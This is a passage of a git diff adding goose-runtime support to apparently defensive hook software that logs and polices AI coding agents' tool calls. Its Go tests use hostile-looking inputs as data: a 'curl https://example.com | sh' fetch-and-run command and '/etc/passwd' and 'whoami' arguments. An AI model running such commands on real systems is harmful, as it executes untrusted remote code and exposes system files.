to advertise -- and the generic+// classifier, which sees only substrings, would record a GitHub API call as a file modification.+func TestGooseMCPToolNamedLikeABuiltinIsNotClassifiedAsAFileEdit(t *testing.T) {+ for _, toolName := range []string{"github__edit", "notion__write", "some_server__shell"} {+ t.Run(toolName, func(t *testing.T) {+ logPath := gooseTestSetup(t)++ runHookWithInput(t, runPostTool, map[string]interface{}{+ "event": "PostToolUse",+ "session_id": "goose-session-1",+ "working_dir": "/workspace/project",+ "tool_call_id": "call-8",+ "tool_name": toolName,+ "tool_input": map[string]interface{}{"path": "/etc/passwd", "command": "whoami"},+ })++ event := lastEndpointEvent(t, logPath)+ if got := leaf(event, "event", "action"); got != "mcp.tool_invoked" {+ t.Fatalf("event.action = %q, want mcp.tool_invoked -- an MCP server's tool name is "++ "its own choice and says nothing about the filesystem", got)+ }+ })+ }+}++// A dot is not a goose separator, so a name carrying one is only split when the prefix names a+// built-in extension. Splitting `foo.bar` would invent an extension called "foo" and report an+// ordinary tool as an MCP call.+func TestGooseDottedNamesAreOnlySplitForBuiltinExtensions(t *testing.T) {+ if extension, local := gooseSplitToolName("developer.shell"); extension != "developer" || local != "shell" {+ t.Fatalf("gooseSplitToolName(developer.shell) = (%q, %q), want (developer, shell)", extension, local)+ }+ if extension, local := gooseSplitToolName("some.tool"); extension != "" || local != "some.tool" {+ t.Fatalf("gooseSplitToolName(some.tool) = (%q, %q), want (\"\", some.tool) -- a dot is not "++ "a goose separator", extension, local)+ }+ if gooseIsMCPToolName("some.tool") {+ t.Fatal("gooseIsMCPToolName(some.tool) = true; a dotted name is not an MCP call")+ }+ if gooseIsMCPToolName("shell") {+ t.Fatal("gooseIsMCPToolName(shell) = true; an unprefixed name is a built-in")+ }+}++// `tree` lists a directory, and its `path` is that directory. The generic classifier gets this+// wrong in both halves: the name contains none of the read words, so the action would fall to+// tool.invoked and the operation would be empty.+func TestGooseTreeRecordsTheDirectoryItListed(t *testing.T) {+ logPath := gooseTestSetup(t)++ runHookWithInput(t, runPostTool, map[string]interface{}{+ "event": "PostToolUse",+ "session_id": "goose-session-1",+ "working_dir": "/workspace/project",+ "tool_call_id": "call-2",+ "tool_name": "tree",+ "tool_input": map[string]interface{}{"path": "/workspace/project/src", "depth": 2},+ })++ event := lastEndpointEvent(t, logPath)+ if got := leaf(event, "event", "action"); got != "file.read" {+ t.Fatalf("event.action = %q, want file.read", got)+ }+ if got := leaf(event, "file", "path"); got != "/workspace/project/src" {+ t.Fatalf("file.path = %q, want the listed directory", got)+ }+ if got := leaf(event, "file", "operation"); got != "read" {+ t.Fatalf("file.operation = %q, want read", got)+ }+}++// read_image names its target `source`, which no shared path key reads, and that argument is+// documented as "local file path or http(s) URL". Both halves are pinned: the path is recorded+// when it is a path, and nothing is recorded when it is a URL -- putting a URL into file.path+// would give every rule, git helper and SIEM query a value that is not a filesystem path.+func TestGooseReadImageRecordsAPathButNotAURL(t *testing.T) {+ t.Run("path", func(t *testing.T) {+ logPath := gooseTestSetup(t)+ runHookWithInput(t, runPostTool, map[string]interface{}{+ "event": "PostToolUse",+ "session_id": "goose-session-1",+ "working_dir": "/workspace/project",+ "tool_name": "read_image",+ "tool_input": map[string]interface{}{"source": "/workspace/project/diagram.png"},+ })+ event := lastEndpointEvent(t, logPath)+ if got := leaf(event, "event", "action"); got != "file.read" {+ t.Fatalf("event.action = %q, want file.read", got)+ }+ if got := leaf(event, "file", "path"); got != "/workspace/project/diagram.png" {+ t.Fatalf("file.path = %q, want the image path", got)+ }+ })++ t.Run("url", func(t *testing.T) {+ logPath := gooseTestSetup(t)+ runHookWithInput(t, runPostTool, map[string]interface{}{+ "event": "PostToolUse",+ "session_id": "goose-session-1",+ "working_dir": "/workspace/project",+ "tool_name": "read_image",+ "tool_input": map[string]interface{}{"source": "https://example.com/diagram.png"},+ })+ event := lastEndpointEvent(t, logPath)+ if got := leaf(event, "file", "path"); got != "" {+ t.Fatalf("file.path = %q, want empty -- a URL is not a filesystem path", got)+ }+ if got := leaf(event, "event", "action"); got != "tool.invoked" {+ t.Fatalf("event.action = %q, want tool.invoked -- this call read no file", got)+ }+ })+}++// ---------------------------------------------------------------------------+// File edits+// ---------------------------------------------------------------------------++// goose's `edit` states the replaced span as `before` and `after` -- fragments of the file, not+// copies of it, because the tool requires `before` to match exactly and uniquely. That is the same+// shape as Claude Code's old_string/new_string and takes the fragment builder; rendering the two+// as whole-file contents would produce a diff claiming the file was those fragments.+func TestGooseEditProducesAFragmentDiff(t *testing.T) {+ logPath := gooseTestSetup(t)++ runHookWithInput(t, runPostTool, map[string]interface{}{+ "event": "PostToolUse",+ "session_id": "goose-session-1",+ "working_dir": "/workspace/project",+ "tool_call_id": "call-3",+ "tool_name": "edit",+ "tool_input": map[string]interface{}{+ "path": "/workspace/project/main.go",+ "before": "timeout := 5",+ "after": "timeout := 30",+ },+ })++ event := lastEndpointEvent(t, logPath)+ if got := leaf(event, "event", "action"); got != "file.modified" {+ t.Fatalf("event.action = %q, want file.modified", got)+ }+ if got := leaf(event, "file", "path"); got != "/workspace/project/main.go" {+ t.Fatalf("file.path = %q, want the edited file", got)+ }+ if got := leaf(event, "file", "operation"); got != "modify" {+ t.Fatalf("file.operation = %q, want modify", got)+ }+ diffStr := leaf(event, "file", "diff")+ if diffStr == "" {+ diffStr = leaf(event, "content", "diff")+ }+ if !strings.Contains(diffStr, "-timeout := 5") || !strings.Contains(diffStr, "+timeout := 30") {+ t.Fatalf("diff did not describe the replacement: %q (event: %#v)", diffStr, event)+ }+}++// `write` carries the whole new file under `content`, which is the shape the shared reader's+// "write" case already handles down to resolving the path from `path`. Reused rather than restated+// so goose's creation diffs and every other runtime's stay one implementation.+func TestGooseWriteProducesACreationDiff(t *testing.T) {+ logPath := gooseTestSetup(t)++ runHookWithInput(t, runPostTool, map[string]interface{}{+ "event": "PostToolUse",+ "session_id": "goose-session-1",+ "working_dir": "/workspace/project",+ "tool_call_id": "call-4",+ "tool_name": "write",+ "tool_input": map[string]interface{}{+ "path": "/workspace/project/health.go",+ "content": "package main\n\nfunc health() {}\n",+ },+ })++ event := lastEndpointEvent(t, logPath)+ if got := leaf(event, "event", "action"); got != "file.modified" {+ t.Fatalf("event.action = %q, want file.modified", got)+ }+ if got := leaf(event, "file", "operation"); got != "create" {+ t.Fatalf("file.operation = %q, want create", got)+ }+ diffStr := leaf(event, "file", "diff")+ if diffStr == "" {+ diffStr = leaf(event, "content", "diff")+ }+ if !strings.Contains(diffStr, "+func health() {}") {+ t.Fatalf("diff did not describe the new file: %q (event: %#v)", diffStr, event)+ }+}++// The guard the whole post-tool mapping turns on. goose reports a failed call by sending a+// different event name and an otherwise identical payload -- same tool, same arguments, no error+// string and no result either way -- and its `edit` fails whenever `before` does not match the+// file exactly and uniquely. Without this the same before/after pair would be recorded as a+// completed file.modified, and the log would assert that a file changed when the edit never+// landed.+func TestGooseFailedEditIsRecordedAsAFailureWithNoDiff(t *testing.T) {+ logPath := gooseTestSetup(t)++ runHookWithInput(t, runPostTool, map[string]interface{}{+ "event": "PostToolUseFailure",+ "session_id": "goose-session-1",+ "working_dir": "/workspace/project",+ "tool_call_id": "call-5",+ "tool_name": "edit",+ "tool_input": map[string]interface{}{+ "path": "/workspace/project/main.go",+ "before": "timeout := 5",+ "after": "timeout := 30",+ },+ })++ event := lastEndpointEvent(t, logPath)+ if got := leaf(event, "event", "action"); got != "tool.failed" {+ t.Fatalf("event.action = %q, want tool.failed", got)+ }+ if got := leaf(event, "file", "diff"); got != "" {+ t.Fatalf("file.diff = %q, want empty -- the edit never landed", got)+ }+ if got := leaf(event, "content", "diff"); got != "" {+ t.Fatalf("content.diff = %q, want empty -- the edit never landed", got)+ }+}++// An edit that substitutes a fragment for an identical one changed nothing, and a diff for it+// would record that a file changed when it did not.+func TestGooseEditWithIdenticalFragmentsProducesNoDiff(t *testing.T) {+ logPath := gooseTestSetup(t)++ runHookWithInput(t, runPostTool, map[string]interface{}{+ "event": "PostToolUse",+ "session_id": "goose-session-1",+ "working_dir": "/workspace/project",+ "tool_name": "edit",+ "tool_input": map[string]interface{}{+ "path": "/workspace/project/main.go",+ "before": "timeout := 5",+ "after": "timeout := 5",+ },+ })++ event := lastEndpointEvent(t, logPath)+ if got := leaf(event, "file", "diff"); got != "" {+ t.Fatalf("file.diff = %q, want empty for an edit that changed nothing", got)+ }+ // The call is still recorded. Falling through to the observing path is what keeps a tool+ // invocation in the log when there is no diff to attach to it.+ if got := leaf(event, "tool", "name"); got != "edit" {+ t.Fatalf("tool.name = %q, want edit -- the call is still recorded", got)+ }+}++// `event` is read for goose and must not be added to the shared hook-event key list: it is an+// ordinary key that other runtimes' payloads use for other things, so widening the shared list+// would make one of those the hook event name for a runtime that has nothing to do with goose.+func TestGooseEventKeyIsNotReadForOtherRuntimes(t *testing.T) {+ logPath := gooseTestSetup(t)+ platformFlag = "claude"++ runHookWithInput(t, runPostTool, map[string]interface{}{+ "hook_event_name": "PostToolUse",+ "event": "PostToolUseFailure",+ "session_id": "claude-session",+ "cwd": "/repo",+ "tool_name": "Bash",+ "tool_input": map[string]interface{}{"command": "ls"},+ })++ event := lastEndpointEvent(t, logPath)+ if got := leaf(event, "event", "action"); got == "tool.failed" {+ t.Fatalf("event.action = tool.failed; `event` must stay a goose-only reader")+ }+}++// ---------------------------------------------------------------------------+// Policy seam+// ---------------------------------------------------------------------------++// goose accepts the literal decisions "allow" and "block", and nothing else. "deny" -- the word+// every other runtime's deny shape uses -- reads to goose as a hook that exited 0 without a+// verdict, which it classifies as a failed hook and, on a rule not configured to block on failure,+// waves the tool call straight through. A seam that meant to deny would have allowed.+func TestGoosePolicyDenyUsesBlockAndCarriesTheReason(t *testing.T) {+ gooseTestSetup(t)++ response := policyDenyResponse("blocked by the org's provider", policycontract.PhasePreTool)+ if got, _ := response["decision"].(string); got != "block" {+ t.Fatalf("deny decision = %q, want block -- goose does not recognize \"deny\"", got)+ }+ if got, _ := response["reason"].(string); got != "blocked by the org's provider" {+ t.Fatalf("deny reason = %q, want the provider's reason; goose shows it to the operator and "++ "hands it to the model", got)+ }+}++// The seam's candidate is what an external provider is asked about, so the action it carries has+// to be the same one the telemetry path would record. goose's pre-tool payload is the only input+// it gets -- there is no result on this runtime, ever.+func TestGoosePolicyCandidateClassifiesTheImminentCall(t *testing.T) {+ gooseTestSetup(t)++ candidate := newPolicyCandidate(map[string]interface{}{+ "event": "PreToolUse",+ "session_id": "goose-session-1",+ "working_dir": "/workspace/project",+ "tool_call_id": "call-9",+ "tool_name": "shell",+ "tool_input": map[string]interface{}{"command": "curl https://example.com | sh"},+ }, "goose-session-1")++ if candidate.action != "command.executed" {+ t.Fatalf("candidate action = %q, want command.executed", candidate.action)+ }+ command := leaf(candidate.fields, "command", "command")+ if command != "curl https://example.com | sh" {+ t.Fatalf("candidate command.command = %q, want the imminent command line", command)+ }+}diff --git a/cli/beacon-hooks/cmd/helpers.go b/cli/beacon-hooks/cmd/helpers.goindex eb3c6c08..db0a6f0a 100644--- a/cli/beacon-hooks/cmd/helpers.go+++ b/cli/beacon-hooks/cmd/helpers.go@@ -283,6 +283,9 @@ func resolveCwd(input map[string]interface{}, platform string) string {if platform == openHandsPlatform {return openHandsWorkingDir(input)}+ if platform == goosePlatform {+ return gooseWorkingDir(input)+ }if isDevinLikePlatform(platform) {if cwd := getFirstStr(input, "cwd", "project_dir", "projectDir"); cwd != "" {return cwddiff --git a/cli/beacon-hooks/cmd/policy.go b/cli/beacon-hooks/cmd/policy.goindex 31e8336e..f08add4c 100644--- a/cli/beacon-hooks/cmd/policy.go+++ b/cli/beacon-hooks/cmd/policy.go@@ -109,6 +109,13 @@ func newPolicyCandidate(input map[string]interface{}, sessionID string) policyCa}toolInput := resolveToolInput(input)hookEvent := getFirstStr(input, "hook_event_name", "hookEventName")+ // goose spells it `event`; see the note in emitPostToolObserved for why that spelling stays out+ // of the shared list. It changes nothing on this path today -- the seam only runs pre-tool,+ // where no runtime's event name affects the classification -- and is read so the two callers of+ // actionForTool ask it the same question rather than one of them silently passing "".+ if platformFlag == goosePlatform {+ hookEvent = gooseHookEvent(input)+ }fields := sessionFields(sessionID, input)for key, value := range toolFields(toolName, toolInput) {@@ -260,6 +267,23 @@ func policyDenyResponse(reason string, phase policycontract.Phase) map[string]in// works without changing that.case platformFlag == openHandsPlatform:return map[string]interface{}{"decision": "deny", "reason": reason}+ // goose reads the same two keys and one different value: its classifier accepts the literal+ // strings "allow" and "block", and nothing else. "deny" -- the word every runtime above uses --+ // is not a decision goose recognizes, so sending it would be read as a hook that exited 0+ // without a verdict, which goose classifies as a *failed* hook and, on a rule that is not+ // configured to block on failure, waves the tool call straight through. A seam that meant to+ // deny would have allowed.+ //+ // The reason rides along for the OpenHands purpose and one more: goose puts it in front of both+ // the operator and the model, prefixed with "Tool call denied by policy hook" and the+ // instruction not to retry, so the seam's explanation is what the agent is told.+ //+ // Exit code 2 with the reason on stderr is goose's documented alternative, not a requirement+ // alongside this: classify_output reads stdout first and a parsed `decision: block` denies+ // whatever the exit code. Beacon exits 0 on every hook path, so the object is the only shape+ // that works without changing that -- the same reasoning as OpenHands above.+ case platformFlag == goosePlatform:+ return map[string]interface{}{"decision": "block", "reason": reason}// Qwen Code shares Claude Code's deny shape exactly: `hookSpecificOutput.permissionDecision`// with a `permissionDecisionReason`, both required by its PreToolUse contract. The// `hookEventName` stays "PreToolUse" in both phases the seam runs in, matching the existingdiff --git a/cli/beacon-hooks/cmd/post_tool.go b/cli/beacon-hooks/cmd/post_tool.goindex e3b584b2..a05541b1 100644--- a/cli/beacon-hooks/cmd/post_tool.go+++ b/cli/beacon-hooks/cmd/post_tool.go@@ -104,6 +104,14 @@ func runPostTool(cmd *cobra.Command, args []string) {// delete or a write this build could not read, and it falls through to the observing path// below, which still records the call with its path and operation.params = parseKiroEdit(input, logger)+ } else if platformFlag == goosePlatform {+ // goose gets its own reader rather than riding parseClaudeCopilotInput for two reasons the+ // shared reader cannot be told about: its edit tool names the replaced span `before` and+ // `after` rather than old_string/new_string, and its failure signal is the event name+ // rather than anything in the payload. A nil result is not a failure -- it means this+ // payload is a read, a shell command, an MCP call or a failed write -- and it falls through+ // to the observing path below, which still records the call.+ params = parseGooseEdit(input, logger)} else {params = parseClaudeCopilotInput(input, logger)}@@ -382,6 +390,15 @@ func emitPostToolObserved(logger *logging.Logger, input map[string]interface{})toolName = antigravityToolName(input)}hookEvent := getFirstStr(input, "hook_event_name", "hookEventName")+ // goose spells it `event`, and that spelling is deliberately not added to the shared list+ // above: `event` is an ordinary key that other runtimes' payloads use for other things, so+ // widening the list would make one of those the hook event name for a runtime that has nothing+ // to do with goose. Reading it here is what lets the failure check below fire, since goose+ // reports a failed call only by sending `PostToolUseFailure` -- whose payload is otherwise+ // identical to a success -- and the check already matches that exact spelling.+ if platformFlag == goosePlatform {+ hookEvent = gooseHookEvent(input)+ }toolInput := resolveToolInput(input)if toolInput == nil {if nested, ok := input["tool_input"].(map[string]interface{}); ok {diff --git a/cli/beacon-hooks/cmd/pre_tool.go b/cli/beacon-hooks/cmd/pre_tool.goindex 7d43ef49..167d8da7 100644--- a/cli/beacon-hooks/cmd/pre_tool.go+++ b/cli/beacon-hooks/cmd/pre_tool.go@@ -54,7 +54,7 @@ func runPreTool(cmd *cobra.Command, args []string) {} else if platformFlag == "antigravity" {emitAntigravityPromptFromTranscript(logger, input, sessionID)emitPreToolObserved(logger, input, sessionID)- } else if platformFlag == "claude" || platformFlag == "qwen" || isDevinLikePlatform(platformFlag) || platformFlag == "grok" || platformFlag == "hermes" || platformFlag == "vscode" || platformFlag == "muse" || platformFlag == openHandsPlatform || platformFlag == kiroPlatform {+ } else if platformFlag == "claude" || platformFlag == "qwen" || isDevinLikePlatform(platformFlag) || platformFlag == "grok" || platformFlag == "hermes" || platformFlag == "vscode" || platformFlag == "muse" || platformFlag == openHandsPlatform || platformFlag == kiroPlatform || platformFlag == goosePlatform {// Muse Code belongs on the observing side rather than with the runtimes whose pre-tool// notification gets turned into a synthesized approval, and the reason is that it has a// real one. Its PermissionRequest event is a separate hook Beacon also subscribes to, so@@ -76,6 +76,16 @@ func runPreTool(cmd *cobra.Command, args []string) {// approval.allowed derived from it would claim a decision was made in the very cases where// one has not been made yet, on a runtime where real decisions exist and are invisible.// That is worse than the no-approval-gate runtimes, not better.+ //+ // goose is on that same side and for the Kiro reason: ToolApprovalOperation runs the+ // permission judge, marks calls that need a person as not executable and stops the turn+ // for an answer, and none of that reaches a hook -- goose's HookEvent set has no approval+ // event at all. PreToolUse fires identically whether the call was pre-approved by+ // goose_mode, waved through, or already confirmed by somebody, so an approval.allowed+ // derived from it would claim a decision in exactly the cases where none was made.+ //+ // The reply goose gets is a separate question from this one, and the two answers point+ // opposite ways; see preToolResponse.emitPreToolObserved(logger, input, sessionID)} else {emitPreToolDecision(logger, input, sessionID, "approval.allowed", "allow", "Pre-tool observed", asymptoteobserve.FidelityInferred)@@ -164,6 +174,28 @@ func preToolResponse() map[string]interface{} {// suppression would have to fall back to if that ever changed, and it keeps this function// answering the same question for every runtime rather than having one whose answer is// "nothing, and the writer knows why".+ // goose is the one runtime where the empty object is the harmful answer, so it is answered+ // before the group below rather than joining it.+ //+ // Its PreToolUse chain classifies every hook run, and a hook that exits 0 with stdout carrying+ // no decision is classified a *failure*: goose logs "Plugin hook failed; continuing without it"+ // for every tool call, and on a rule configured `on_failure: block` it denies the call+ // outright. `{}` and `{"permission":"allow"}` both land there -- goose reads `decision`, and+ // only the values "allow" and "block". Silence would also be accepted, but an explicit allow is+ // the one shape that is unambiguous on both of goose's blocking events, Stop included.+ //+ // Saying "allow" here does not approve anything, which is what makes it safe and what separates+ // goose from Qwen Code above. goose's hook chain is a plugin-policy layer inside+ // ToolExecutionOperation, and the pipeline registers ToolApprovalOperation *before* it -- so by+ // the time a hook is consulted the operator's decision has already been made and the call has+ // already survived it. HookDecision::Allow means "this policy hook does not object"; there is+ // no code path by which it reaches the permission judge or skips a prompt.+ //+ // The key is `decision` rather than `permission`: allowResponse below is a different runtime's+ // spelling and goose would read it as no decision at all.+ if platformFlag == goosePlatform {+ return map[string]interface{}{"decision": "allow"}+ }if platformFlag == "claude" || platformFlag == "qwen" || isDevinLikePlatform(platformFlag) || platformFlag == "hermes" || platformFlag == "vscode" || platformFlag == "muse" || platformFlag == openHandsPlatform || platformFlag == kiroPlatform {return emptyResponse}diff --git a/cli/beacon-hooks/cmd/prompt_submit.go b/cli/beacon-hooks/cmd/prompt_submit.goindex e87929a0..23689c10 100644--- a/cli/beacon-hooks/cmd/prompt_submit.go+++ b/cli/beacon-hooks/cmd/prompt_submit.go@@ -45,6 +45,9 @@ func runPromptSubmit(cmd *cobra.Command, args []string) {if platformFlag == openHandsPlatform {prompt = openHandsPrompt(input)}+ if platformFlag == goosePlatform {+ prompt = goosePrompt(input)+ }hasPrompt := prompt != ""if hasPrompt {fields["prompt"] = map[string]interface{}{"text": prompt}diff --git a/cli/beacon-hooks/cmd/root.go b/cli/beacon-hooks/cmd/root.goindex 8f6fffdc..5f48f162 100644--- a/cli/beacon-hooks/cmd/root.go+++ b/cli/beacon-hooks/cmd/root.go@@ -29,8 +29,8 @@ var (var rootCmd = &cobra.Command{Use: "beacon-hooks",- Short: "Beacon hooks for Claude Code, Codex, GitHub Copilot, Cursor, VS Code, Devin, Factory, Grok, Hermes, Antigravity, Kiro, opencode, OpenHands, Qwen Code, Muse Code, and Cline",- Long: `Beacon hooks binary for Claude Code, Codex, GitHub Copilot, Cursor, VS Code, Devin, Factory, Grok, Hermes, Antigravity, Kiro, opencode, OpenHands, Qwen Code, Muse Code, and Cline integration.+ Short: "Beacon hooks for Claude Code, Codex, GitHub Copilot, Cursor, VS Code, Devin, Factory, goose, Grok, Hermes, Antigravity, Kiro, opencode, OpenHands, Qwen Code, Muse Code, and Cline",+ Long: `Beacon hooks binary for Claude Code, Codex, GitHub Copilot, Cursor, VS Code, Devin, Factory, goose, Grok, Hermes, Antigravity, Kiro, opencode, OpenHands, Qwen Code, Muse Code, and Cline integration.This binary provides hook commands that are called by IDE plugin systemsto evaluate code changes for security violations.@@ -39,7 +39,7 @@ Use --platform to specify the calling platform (default: claude).`,}func init() {- rootCmd.PersistentFlags().StringVar(&platformFlag, "platform", "claude", "Platform context: claude, cline, codex, antigravity, copilot, cursor, vscode, devin, devin-cli, devin-desktop, factory, grok, hermes, kiro, muse, opencode, openhands, or qwen")+ rootCmd.PersistentFlags().StringVar(&platformFlag, "platform", "claude", "Platform context: claude, cline, codex, antigravity, copilot, cursor, vscode, devin, devin-cli, devin-desktop, factory, goose, grok, hermes, kiro, muse, opencode, openhands, or qwen")rootCmd.PersistentFlags().StringVar(&logFlag, "log", "", "Endpoint runtime log to append to (same value as BEACON_ENDPOINT_LOG)")rootCmd.PersistentFlags().StringVar(&configFlag, "config", "", "Endpoint config to read (same value as BEACON_ENDPOINT_CONFIG)")rootCmd.PersistentFlags().StringVar(&cliFlag, "cli", "", "Path to the beacon CLI for inventory heartbeats (same value as BEACON_ENDPOINT_CLI)")diff --git a/cli/beacon-hooks/internal/diff/diff.go b/cli/beacon-hooks/internal/diff/diff.goindex d5529f17..e9a16ec3 100644--- a/cli/beacon-hooks/internal/diff/diff.go+++ b/cli/beacon-hooks/internal/diff/diff.go@@ -468,3 +468,30 @@ func kiroWritePath(toolInput, toolResponse map[string]interface{}) string {}return ""}++// FromEditFragments builds the diff for a find-and-replace edit stated as the text on either side+// of it, rather than as the file's whole contents.+//+// The distinction from FromContentChange is the whole point of having both, and getting it wrong+// produces a diff that is wrong rather than absent. FromContentChange renders its two arguments as+// the entire file before and after, which is right for a runtime that reports a write by echoing+// the file; this renders them as one replaced span, which is right for a runtime that reports an+// edit by naming the text it matched and the text it substituted.+//+// goose's `edit` is the second shape: it takes `before` and `after` and requires `before` to match+// the file exactly and uniquely, so the pair describes a fragment and never the file. Claude Code's+// old_string/new_string is the same shape, which is why this is the builder that case already uses+// -- exported here so goose reaches it by the same route rather than by a second implementation.+func FromEditFragments(filePath, before, after string) string {+ filePath = NormalizePath(filePath)+ if filePath == "" {+ return ""+ }+ // An edit that substitutes a fragment for an identical one changed nothing. Returning a hunk+ // for it would record that a file changed when it did not -- the guard FromContentChange makes+ // for the same reason.+ if before == after {+ return ""+ }+ return fromEditTool(filePath, before, after)+}diff --git a/cli/beacon-hooks/internal/diff/diff_test.go b/cli/beacon-hooks/internal/diff/diff_test.goindex 1ebc5224..3896024c 100644--- a/cli/beacon-hooks/internal/diff/diff_test.go+++ b/cli/beacon-hooks/internal/diff/diff_test.go@@ -357,3 +357,37 @@ func hasExactLine(diff, want string) bool {}return false}++// FromEditFragments and FromContentChange take the same two arguments and mean different things by+// them, so the case that separates them is worth pinning: a replacement whose "before" side is+// empty.+//+// FromContentChange is told the file's whole contents, so an empty old side means the file did not+// exist and `@@ -0,0` is right. FromEditFragments is told one replaced span, so an empty before+// side means an insertion into a file that does exist, and `@@ -0,0` would claim the whole file was+// created by an edit that added one line.+func TestFromEditFragmentsDoesNotReportAnInsertionAsANewFile(t *testing.T) {+ inserted := FromEditFragments("/repo/main.go", "", "\tdefer cancel()")+ if strings.Contains(inserted, "@@ -0,0") {+ t.Fatalf("FromEditFragments reported an insertion as a new file: %q", inserted)+ }+ if !strings.Contains(inserted, "+\tdefer cancel()") {+ t.Fatalf("FromEditFragments did not record the inserted line: %q", inserted)+ }++ created := FromContentChange("/repo/main.go", "", "package main\n")+ if !strings.Contains(created, "@@ -0,0") {+ t.Fatalf("FromContentChange must still report a created file as new: %q", created)+ }+}++// A replacement that substitutes a fragment for an identical one changed nothing, and a hunk for it+// would record that a file changed when it did not.+func TestFromEditFragmentsReturnsNothingForAnUnchangedSpan(t *testing.T) {+ if got := FromEditFragments("/repo/main.go", "timeout := 5", "timeout := 5"); got != "" {+ t.Fatalf("FromEditFragments = %q, want empty for an unchanged span", got)+ }+ if got := FromEditFragments("", "before", "after"); got != "" {+ t.Fatalf("FromEditFragments = %q, want empty without a path", got)+ }+}